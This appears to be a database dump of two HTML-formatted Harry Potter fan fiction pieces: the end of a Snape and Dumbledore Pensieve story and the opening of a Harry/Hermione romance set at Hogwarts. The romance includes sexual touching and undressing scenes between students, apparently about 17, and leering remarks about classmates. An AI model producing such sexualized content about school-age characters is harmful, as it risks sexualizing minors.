style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;</i>No!<i>&#8221; Harry hissed.&nbsp;\n&#8220;I know it&#8217;s here somewhere.&#8221;</i></p>\n\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They passed the ghost of a\ntall witch gliding in the opposite direction, but saw no one else.&nbsp; Just as Ron started moaning that his feet\nwere dead with cold, Harry spotted the suit of armour.\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>&#8220;It&#8217;s here &#8211; just here &#8211; yes!&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They pushed the door open</i>, but Severus couldn&#8217;t see anything. <i>Harry\ndropped the cloak from round his shoulders and ran to the mirror.</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; There they were.&nbsp; His mother and father beamed at the sight of\nhim.</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;See?&#8221; Harry whispered.</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t see anything.&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Look!&nbsp; Look at them all &#8230; there are loads of them &#8230;&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can only see you.&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Look in it properly, go on, stand\nwhere I am.&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry stepped aside, but with Ron in\nfront of the Mirror, he couldn&#8217;t see his family anymore, just Ron in his\npaisley pyjamas.</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron, though was staring transfixed\nat his image.</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Look at me!&#8221; he said.</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can you see all your family\nstanding around you?&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No &#8211; I&#8217;m alone &#8211; but I&#8217;m different &#8211;\nI look older &#8211; and I&#8217;m Head Boy!&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;</i>What?&#8221;<i> </i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I am &#8211; I&#8217;m wearing the badge like\nBill used to &#8211; and I&#8217;m holding the House Cup and the Quidditch Cup &#8211; I&#8217;m\nQuidditch captain, too!&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;\nmargin-bottom:6.0pt;margin-left:0in;text-align:center" align="center">* * *</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Severus looked up at Dumbledore,\nconfused.&nbsp; &#8220;Why are you showing me this\nfrom their first year?&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore tapped the gleaming\nsurface of the pensive again.&nbsp; &#8220;Look\nagain, Severus.&nbsp; This time you&#8217;ll see\nwhy I&#8217;m not as surprised by your news as you thought I would be.&#8221;&nbsp; The customary gleam was gone from the\nheadmaster&#8217;s eyes.&nbsp; Severus turned his\nown eyes back to the bowl.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The scene hadn&#8217;t changed.&nbsp; It was still the same room, housing the same\nmirror, but Potter and Weasley had gone.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;\nmargin-bottom:6.0pt;margin-left:0in;text-align:center" align="center">* * * </p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He heard footsteps coming down the\nhall towards the door.&nbsp; Once again, the\ndoor opened seemingly of it&#8217;s own accord, and shut again.&nbsp; Potter materialized out of nowhere.&nbsp; <i>Damn cloak,</i> though severus.</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Harry sank down to sit on the\nfloor in front of the mirror.&nbsp; There was\nnothing to stop him staying her all night with his family.&nbsp; Nothing at all.</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Except &#8211; </i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So &#8211; back again, Harry?&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry&nbsp; felt as though his insides had turned to ice.&nbsp; He looked behind him.&nbsp; Sitting on one of the desks by the wall was\nnon other than Albus Dumbledore.&nbsp; Harry\nmust have walked straight past him, so desperate to get to the mirror he hadn&#8217;t\nnoticed him.</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I &#8211; I didn&#8217;t see you, sir.&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Strange how short-sighted being\ninvisible can make you,&#8221; said Dumbledore, and Harry was relieved to see that he\nwas smiling.</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So,&#8221; said Dumbledore, slipping off\nthe desk to sit on the floor with Harry, &#8220;you, like hundreds before you, have\ndiscovered the delights of the Mirror of Erised.&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I didn&#8217;t know it was called that,\nsir.&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But I expect you&#8217;ve realized by now\nwhat it does?&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It &#8211; well &#8211; it shows me my family &#8211;\n&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And it showed your friend Ron\nhimself as Head Boy, standing alone, best of all of them.&#8221;</i></p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;\nmargin-bottom:6.0pt;margin-left:0in;text-align:center" align="center">* * *</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Severus once again looked at the\nheadmaster, but he wasn&#8217;t confused anymore.&nbsp;\n&#8220;I see,&#8221; he said slowly.&nbsp;\n&#8220;Weasley felt that he had to do something to live up to, or surpass the accomplishments\nof his brothers.&nbsp; By joining Voldemort,\nhe is able to gain power to be better than all of his brothers.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes.&nbsp; I believe that was his own justification for joining the Death\nEaters.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do you propose we do about it,\nAlbus?&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing.&nbsp; I believe that he will eventually see what he is doing, and come\nto us for help.&nbsp; He&#8217;ll eventually see\nthat he is in over his head and will want to get out.&nbsp; Severus, be very careful how you act around him.&nbsp; He is in a position to tell Voldemort what\nyou are doing, if he knows, and you know what your &#8216;Master&#8217; will do to you if\nhe suspects you of treachery.&nbsp; Don&#8217;t\nencourage him, but don&#8217;t discourage him either.&nbsp; Let time and fate run their courses.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Albus, I hope you appreciate how\nhard this is going to be for me.&nbsp; I\ndon&#8217;t like Weasley much, but I don&#8217;t want to see him in a position to betray\nPotter, or the entire school.&nbsp; What if\nhe gets the notion that to bring down Potter, he has to get you? Or Black, or\nLupin.&nbsp; I may not care for either of\nthem, but they help Potter and support him.&nbsp;\nIf they were gone, I don&#8217;t know what Potter would do out of\ndesperation.&nbsp; Knowing him, he would most\nlikely attack before he is ready.&nbsp; That\ncould mean disaster for all of us.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know, Severus.&nbsp; It will be hard on me too.&nbsp; My first instinct would be to tell Harry, or\npossibly Hermione, but I can&#8217;t.&nbsp; I don&#8217;t\nknow how good either of them is at acting, and this is not a good time to test\nthem.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;margin-bottom:\n6.0pt;margin-left:0in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Very well, Albus.&nbsp; I will let you know if anything else\nhappens.&#8221;</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;\nmargin-bottom:6.0pt;margin-left:0in;text-align:center" align="center">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;\nmargin-bottom:6.0pt;margin-left:0in;text-align:center" align="center">THE END</p>\n\n<p class="MsoNormal" style="margin-top:12.0pt;margin-right:0in;\nmargin-bottom:6.0pt;margin-left:0in;text-align:center" align="center"><b>If you liked this, REVIEW, please.</b></p>\n\n\n\n\n\n\n'),
	(185, 1, '\n\n<b></b><p><b>Author notes:</b> Please R/R. I really have a thing for a real Harry/Hermione SHIP to happen in the real books. My biggest feeling is that Harry will fall in love with her, but keep his feelings to himself because of obvious reasons. This fic is dedicated to that thought. (Come on Harry! I know you love Hermione somewhere in that heart of yours!!!) I would like to hear all of your opinions!!!</p>\n\n<p>I would like to thank Elia Sheldon (the BEST Harry Potter Fanon writer that I have ever seen) for writing her stories.  Without her skill, dedication, and Harry and Hermione shipness, I wouldn&#8217;t be writing because she was a great motivation for me.  I hope she doesn&#8217;t mind that I took some ideas off her fantastic stories.  *Full credit goes to her* </p>\n\n<p>Another thing &#8230; think about this&#8230;</p>\n\n<p>&quot;Hermione&quot; was a character in Greek mythology who was loved by two men. She was the daughter of Helen of Troy and Menelaus. These men (Orestes 2 and Neoptolemus, the son of Achilles) fought terribly for the love of the beautiful Hermione (Harry and Ron?). Orestes 2 was killed by a snake. Could this mean that either Ron or Harry will die at the hands of Lord Voldemort (whose symbol is a snake?). Hmmm&#8230;</p>\n<b><p align="CENTER"></p>\n<p align="CENTER">&nbsp;</p>\n<p align="CENTER">Chapter 1 - Prologue</p>\n</b>\n<p>&nbsp;</p>\n<p>Harry Potter sat across his best friend, Hermione Granger in the Gryffindor common room alone reading <i>Quidditch Through The Ages</i>. He couldn&#8217;t help but glance at Hermione.</p>\n<i>\n</i><p><i>&#8220;How can she keep reading that book?&#8221; </i>Harry asked himself as he watched Hermione read <i>Hogwarts: A History. </i>He shook his head and thought that it would be worthless to even ask.</p>\n\n<p>It was his and his friends&#8217; 7th and final year at Hogwarts School of Witchcraft and Wizardry and so much had already happened to them. Harry had grown into a fine young man by adding some inches in his height. He was no longer that skinny and scrawny, but he developed average muscles. The things that never changed were his jet-black hair that always looked untidy that he inherited from his father, his bright green eyes that he inherited from his mother, and a small scar in the shape of a thunderbolt on his forehead.</p>\n<p>Ron added a very significant amount of inches in his height. He was the tallest student at Hogwarts. With his height, he grew a sense of wit and charm. This helped him get accustomed with a girl from Ravenclaw House named, Adelle Lorry. Just last year, Ron decided to ask her to go steady and she happily obliged to go out with the &#8220;best looking redhead&#8221;.</p>\n\n<p>Hermione had developed and matured into a fine and shapely young woman and easily became one of the best-looking girls in Hogwarts. She noticed that a lot more heads would turn when she walked halls. Out of the three of them, she had made the least change in appearance. Her bushy brown hair looked just as bushy as before and her academic skills were superior, just as before. Her charm, wisdom, knowledge, and beauty caught the eye of Harry Potter. This made him confess his growing love for her in the middle of 5th year, and what a remembering event that was for the both of them.</p>\n<p>After mustering up enough courage, Harry came up to Hermione out of nowhere, rose in hand, and asked her nervously on a date to Hogsmead. She accepted his offer with a smile on her face. After a very romantic dinner, Harry poured his heart and soul out to her, explaining that after she had given him the kiss on the cheek after their 4th year, he couldn&#8217;t stop thinking about her. At the start of term, he realized that he was in love with her and he waited until he had the fortitude to ask her out. To his surprise, Hermione told him that she also felt a feeling of more than friendship toward Harry. After their first and sensual kiss that they shared, they decided to go steady, feeling slightly afraid of what Ron would think, now that he was going to be the odd ball out. </p>\n\n<p>When they had told him the news, Ron didn&#8217;t at all feel angry or upset. In fact, he already thought that the two were a couple. He was, at the time, getting acquainted with Adelle, so it didn&#8217;t really bother him. He simply wished them good luck and hope that they would have a long and happy relationship together. The newly found couple smiled at Ron.</p>\n\n<p>Through the 2 years that they had been going out, Harry and Hermione had become the most popular and most well known couple in Hogwarts. It was to no ones surprise that they were together and all the students simply stated, &#8220;It was bound to happen&#8221;.</p>\n<p>As Harry watched Hermione read her book over the top of his, he jumped when Hermione spoke.</p>\n\n<p>&#8220;What are you looking at Harry?&#8221; said Hermione, not looking up from her book. &#8220;I hope you&#8217;re not trying to look down my blouse.&#8221;</p>\n\n<p>&#8220;Nothing Hermione,&#8221; responded Harry. &#8220;Besides, you know that I can look down that blouse anytime. So why would I try to sneak a look?&#8221;</p>\n\n<p>&#8220;Well,&#8221; said Hermione, closing her book and standing up to walk toward Harry.</p>\n\n<p>&#8220;What?&#8221; asked Harry, standing up and holding his arms out in a challenging way.</p>\n\n<p>&#8220;I just think that it&#8217;s really cute that you keep looking at me Harry,&#8221; said Hermione with a flirtatious smile, getting very close to him and putting her arms around his neck. </p>\n\n<p>&#8220;Glad you like it Granger,&#8221; grinned Harry in a low voice, closing his arms around her.</p>\n\n<p>Hermione raised her head up and put her lips dangerously close to Harry&#8217;s. &#8220;Shut up and kiss me Potter.&#8221;</p>\n\n<p>And he did. Harry leaned in a little more and pressed his lips on Hermione. He did what they both had now come to know as their signature kiss. Of course, they never planned or said whenever they were going to do it or know when it was going to happen. They just&#8230;knew. It consisted of 5 open mouth kisses and ends with Harry taking both hands, putting them behind Hermione&#8217;s head (if they&#8216;re not already there), and kissing her softly on the forehead before resting his forehead on hers. They would stay like that for a few seconds and then release and go about their business.</p>\n\n<p>Harry and Hermione&#8217;s relationship blossomed like a rose throughout the 2 years. At first it was small, closed, and sensual. Now, although still being sensual at times, it was big and ready for anything. They had become wild, love thirsty animals when they were alone. However, they mutually agreed that they wouldn&#8217;t have sex yet. It wasn&#8217;t because that they didn&#8217;t want to and not because anything was stopping them, but because it was a decision that Hermione made. During the summer before their 5th year, Hermione cast a Chastity Spell on herself. </p>\n\n<p>She had made this important decision with both of her parents, and all three of them agreed that Hermione would be chaste till at least her 17th birthday and to not have sex until she was ready and felt that it was right. If she failed, however, she would fall into a dreamless sleep and have a fifty-fifty chance that she&#8216;ll wake up on her 21st birthday. It that wasn&#8217;t bad enough, if she were to awaken, she will not be able to bear children.</p>\n<p>It was lucky that both of them had the sense and courage to stop when they knew it was getting to far. They had a really close call one time in 6th year when they were kissing passionately in the Astronomy Tower. Nonetheless, the furthest they had gotten was Harry with his shirt off and his glasses dangling crookedly on his face, and Hermione&#8217;s blouse unbuttoned all the way with her skirt looking absolutely mangled.</p>\n\n<p>They had also developed very unique ways of connecting to one another, as though they&#8230;magically had it. Hermione could read the eyes of Harry without flaw. It was this that she used to tell what Harry was really feeling at the moment, no matter how he my look physically. </p>\n\n<p>Harry, on the other hand, could somehow sense or feel when Hermione needed him for whatever the reason would be. There was one time when an older transfer student was persuading Hermione in their late 5th year. Harry was in the middle of Quidditch practice when he felt that Hermione was in trouble and he immediately zoomed out of the field and to the front of the castle where he found the student advancing on her. Harry bravely defended her honor, but got some minor cuts and bruises in return. Hermione gave all her admiration to him that day and loved him even more. It was the talk of the school for months. That student was transferred back soon after.</p>\n\n<p>Right after they had finished their signature kiss, Harry looked down at his girlfriend. Since he had remembered her in first year, he thought she hadn&#8217;t changed one bit. Her brown eyes studied his green ones as his body tingled all over. This made him put a small grin on his face.</p>\n<p>&#8220;What Harry?&#8221; said Hermione, noticing his smile.</p>\n\n<p>&#8220;Nothing,&#8221; replied Harry, &#8220;I was just thinking about something.&#8221;</p>\n\n<p>&#8220;What?&#8221; she asked, in a way like she didn&#8217;t want to know.</p>\n\n<p>&#8220;About us,&#8221; said Harry. </p>\n\n<p>His answer was not of what Hermione expected. Since Harry had grown up and gone out with her, his mind seemed to wonder to the &#8220;dirty&#8221; side a bit. Anytime there was a slight hint in sexual independence, Harry and Ron would look at each other as if to understand. </p>\n\n<p>*** </p>\n\n<p>There was a time where Harry, Hermione, Ron, and Adelle sat at the Gryffindor table in the Great Hall when Parvati Patil came over to talk to them. Soon after, Lavender Brown came over and hugged her from behind saying, &#8220;I&#8217;ve been looking all over for you.&#8221; It was like they were looking in a mirror when Harry and Ron immediately turned toward each other, jaws dropping, and slowly turning back to Lavender and Parvati. The two girls giggled playfully as Lavender continued to hold Parvati. Hermione and Adelle stared at Harry and Ron and tutted as they saw looks of excitement and bewilderment and could literally see the drool come down their mouths. When Parvati said that she had to leave, she left with Lavender, walking away a bit close to each other than two friends would. When they were out of sight, Ron spoke first.</p>\n\n<p>&#8220;Harry&#8230;did you just see that?&#8221; he said, with his eyes wide open.</p>\n\n<p>&#8220;Uh huh,&#8221; was all that Harry could mange to say. Even thought Lavender and Parvati where long gone, they continued to stare at the doors of the Great Hall were they exited.</p>\n\n<p>&#8220;Harry, do you think that they&#8217;re&#8230;um&#8230;you know?&#8221;</p>\n\n<p>&#8220;No we don&#8217;t know Ron,&#8221; interrupted Adelle from the side.</p>\n\n<p>&#8220;Yes Ron, please do tell,&#8221; added Hermione. Ron ignored them and continued.</p>\n\n<p>&#8220;Well I&#8217;m going to look and see what they&#8217;re up to.&#8221;</p>\n\n<p>&#8220;You&#8217;re going to spy on them!?&#8221; said Hermione in her you&#8217;re-going-to-get-in-trouble tone.</p>\n\n<p>&#8220;It&#8217;s not spying if you <i>happen</i> to run into them,&#8221; added Ron smiling. &#8220;You coming Harry?&#8221;</p>\n\n<p>Harry looked like he was about to get up when he looked over at Hermione. The look on her face told him otherwise. </p>\n\n<p>&#8220;No Ron, maybe next time. Be sure to tell me about it though.&#8221; Ron nodded and quickly got up and ran out of the Hall. Adelle scoffed and ran after Ron impatiently.</p>\n\n<p>&#8220;Harry?&#8221; said Hermione. He didn&#8217;t answer. There was a starry look in his eye.</p>\n\n<p>&#8220;Harry!?&#8221; she said louder, shaking him. This woke him up.</p>\n\n<p>&#8220;What?&#8221; he asked.</p>\n\n<p>&#8220;I hope that what after you just saw, you&#8217;re not coming to any conclusions about Lavender and Parvati. They were just saying &#8216;hello&#8217;.&#8221;</p>\n\n<p>&#8220;Some way to say &#8216;hello&#8217;,&#8221; said Harry with a smirk. &#8220;I&#8217;m not surprised if they are like that, I mean, they&#8217;re always together.&#8221;</p>\n\n<p>&#8220;What about you and Ron?&#8221; said Hermione in a defensive tone. &#8220;You two are always together!&#8221;</p>\n\n<p>&#8220;But that&#8217;s different.&#8221; defended Harry, though feeling a little gross-out from the accusation Hermione was making.  &#8220;We&#8217;re guys! Besides, we don&#8217;t hug each other, and giggle senseless and walk really close to each other like that. But, Lavender and Parvati are welcomed to fool around with each other anytime.&#8221;  Hermione scoffed. There was no use to continue the conversation even further.</p>\n\n<p>&#8220;I have one thing to say about Lavender and Parvati though,&#8221; said Harry, breaking their silence.</p>\n\n<p>&#8220;What&#8217;s that&#8221; said Hermione, thinking that maybe he would have something serious to say to make up for his behavior.</p>\n\n<p>&#8220;I&#8216;d pay to see that&#8230;&#8221;</p>\n\n<p>&#8220;Harry!&#8221;</p>\n\n<p>&#8220;Ok, ok,&#8221; he said, holding up his hands to his face. &#8220;But don&#8217;t worry Hermione. Two girls will never be better than my one Hermione.&#8221; This put a really big grin on Hermione&#8217;s face. Harry leaned in and kissed her on the cheek, smiling back right after.</p>\n\n<p>***</p>\n\n<p>Hermione smiled at the last image in her head, but realized that she was returning from her daydreaming.</p>\n\n<p>&#8220;What about us?&#8221; asked Hermione again to make Harry further deepen his statement.</p>\n\n<p>&#8220;I mean, I think back in first year when I first saw you and how you became my best friend after Ron and I saved you from that troll,&#8221; said Harry. Hermione nodded.</p>\n\n<p>&#8220;And now here I am. I&#8217;m your boyfriend; dating and going out with you now, kissing and doing things to you that I only did in my dreams.&#8221;</p>\n\n<p>&#8220;I have the same feeling too Harry,&#8221; smiled Hermione, comfortably putting her hands on both his shoulders.</p>\n\n<p>&#8220;It&#8217;s just so unreal for me,&#8221; he said.</p>\n\n<p>&#8220;Harry&#8230;you&#8217;d be surprised about the thoughts that cross my innocent mind,&#8221; said Hermione in a sexy tone, giving him a very dirty look.</p>\n\n<p>&#8220;Don&#8217;t look at me like that Hermione,&#8221; said Harry, his eyes widening slightly and slowly shaking is head.</p>\n\n<p>&#8220;Why?&#8221; she said in a flirtatious voice. She put her right hand right on his pelvis and began to massage it gently. &#8220;Does it hurt?&#8221;</p>\n\n<p>&#8220;No, it doesn&#8217;t&#8230;hurt,&#8221; gulped Harry, looking down at where she was rubbing.</p>\n\n<p>&#8220;I didn&#8217;t think so,&#8221; said Hermione, taking her left hand from his shoulder and putting it under his chin to make him look at her before leaning in and passionately kissing him. </p>\n\n<p>Harry put his hands on her waist as the kissing intensified, each of them getting hotter by the minute. Hermione&#8217;s hand drifted lower to a spot that made Harry gasp away from the kiss. The moment was brief because Hermione leaned in toward Harry quickly, capturing his lips again and settling the kiss. Harry, feeling very grateful for Hermione&#8217;s motives slid one hand seductively up and down Hermione&#8217;s back and the other hand her thigh. Hermione moaned against the kiss a couple of times and her hand rubbed harder and harder through Harry&#8217;s pants and Harry&#8217;s hands slid more and more seductively as the kissing intensified even more. Each of them pleasuring and loving and getting what they wanted. Harry took the initiative to stop first.</p>\n\n<p>&#8220;As much as I want to continue that,&#8221; gasped Harry between breaths, &#8220;I think that it was right to stop.&#8221;</p>\n\n<p>&#8220;Right Harry,&#8221; said Hermione, catching her breath as well. &#8220;I guess I got carried away.&#8221;</p>\n\n<p>&#8220;That&#8217;s ok,&#8221; Harry smiled. &#8220;But it was well worth it.&#8221;</p>\n\n<p>&#8220;Yeah it was wasn&#8217;t it? But now I left you with&#8230;that,&#8221; she said, looking down below Harry&#8217;s waist.  He noticed what she was referring to and blushed. 